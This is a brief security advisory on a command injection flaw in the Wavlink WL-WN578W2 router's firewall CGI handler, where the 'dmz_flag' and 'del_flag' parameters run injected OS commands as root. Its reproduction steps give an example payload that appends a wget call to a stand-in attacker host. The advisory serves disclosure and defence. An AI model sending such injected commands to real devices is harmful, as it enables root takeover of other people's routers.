Wavlink WL-WN578W2 Command Injection Vulnerability in Firewall CGI POST Request Handler

A command injection vulnerability has been identified in the Wavlink WL-WN578W2 router, specifically in version 221110. The issue arises within the POST request handler of the file '/cgi-bin/firewall.cgi'. By manipulating the 'dmz_flag' or 'del_flag' arguments, remote attackers can inject and execute arbitrary operating system commands. This vulnerability has been made public, and an exploit is available.

Impact

Exploitation of this vulnerability allows for arbitrary command execution on the affected device with root privileges.

Reproduction

To reproduce this vulnerability, send a POST request to '/cgi-bin/firewall.cgi' with the 'firewall' parameter set to 'DMZ' or 'singlePortForwardDelete'. Include the 'dmz_flag' or 'del_flag' parameter with a value that injects a command, such as '0;wget [attacker_ip]:[port]/[file]'. The router will execute the injected command, demonstrating the command injection vulnerability.